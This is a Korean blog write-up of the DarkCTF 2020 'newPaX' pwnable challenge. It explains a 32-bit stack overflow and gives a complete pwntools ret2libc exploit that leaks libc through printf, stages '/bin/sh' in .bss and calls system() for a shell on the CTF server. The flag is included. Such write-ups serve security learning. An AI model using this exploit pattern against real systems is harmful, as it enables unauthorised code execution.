pwnable 분야의 두번째 문제 newPaX 이다.

 

 

Checksec

 

 

Analyze

이번 바이너리에는 `main()` 과 `vuln()` 이렇게 2개가 있는데, `main()` 함수에는 별거 없고 `vuln()` 함수에서 `BOF` 공격이 가능하다. 이전 문제와 다른점은 `32bit` 라는 점이다.

 

`32bit rop` 공격은 `64bit` 와 다르기 때문에, 아래 코드 처럼 `stack` 에 데이터를 overwrite 했다. 필자는 `read()` 함수의 `GOT`를 leak 했고, libc database 사이트에서 라이브러리를 다운 받아 `libc_base` 를 구했다.

from pwn import *

p = remote("newpax.darkarmy.xyz", "5001")
e = ELF("./newPaX", checksec=False)
l = ELF("./libc6-i386_2.27-3ubuntu1.2_amd64.so", checksec=False)

payload = "A"*0x34
payload += p32(e.symbols["printf"])
payload += p32(e.symbols["main"])
payload += p32(e.got["read"])

p.sendline(payload)

read_got = u32(p.recv(4))
libc_base = read_got - l.symbols["read"]
system = libc_base + l.symbols["system"]

 

 

위에서 `libc_base` 주소와 `system()` 함수의 주소를 구했으므로 `rop` 공격을 진행하면 된다.

우선 `system()` 함수의 인자인 `/bin/sh` 문자열을 `read()` 함수를 호출하여 `bss` 영역에 문자열을 입력 했다.

payload = "A" * 0x34
payload += p32(e.symbols["read"])
payload += p32(e.symbols["main"])
payload += p32(0)
payload += p32(e.bss()+8)
payload += p32(10)


p.sendline(payload)
p.sendline("/bin/sh\x00")

 

 

shell을 실행시키기 위해 `system()` 함수의 주소를 overwrite 하고, `/bin/sh` 문자열이 저장되어 있는 `bss` 주소를 인자로 주면 shell을 실행 시킬 수 있다.

 

payload = "A" * 0x35
payload += p32(system)
payload += "A"*4
payload += p32(e.bss()+8)
payload += p32(0)

p.sendline(payload)

p.interactive()

 

 

 

최종 `payload` 는 다음과 같다.

from pwn import *

p = remote("newpax.darkarmy.xyz", "5001")
e = ELF("./newPaX", checksec=False)
l = ELF("./libc6-i386_2.27-3ubuntu1.2_amd64.so", checksec=False)

payload = "A"*0x34
payload += p32(e.symbols["printf"])
payload += p32(e.symbols["main"])
payload += p32(e.got["read"])

p.sendline(payload)

read_got = u32(p.recv(4))
libc_base = read_got - l.symbols["read"]
system = libc_base + l.symbols["system"]

print("read_got: "+hex(read_got))
print("libc_base: "+hex(libc_base))

payload = "A" * 0x34
payload += p32(e.symbols["read"])
payload += p32(e.symbols["main"])
payload += p32(0)
payload += p32(e.bss()+8)
payload += p32(10)


p.sendline(payload)
p.sendline("/bin/sh\x00")

payload = "A" * 0x35
payload += p32(system)
payload += "A"*4
payload += p32(e.bss()+8)
payload += p32(0)

p.sendline(payload)

p.interactive()

# darkCTF{f1n4lly_y0u_r3s0lv3_7h1s_w17h_dlr3s0lv3}

'CTF > DarkCTF' 카테고리의 다른 글

[DarkCTF 2020] web write up  (0) 2020.09.27
[DarkCTF 2020] newPaX write up  (0) 2020.09.27
[DarkCTF 2020] rop write up  (0) 2020.09.27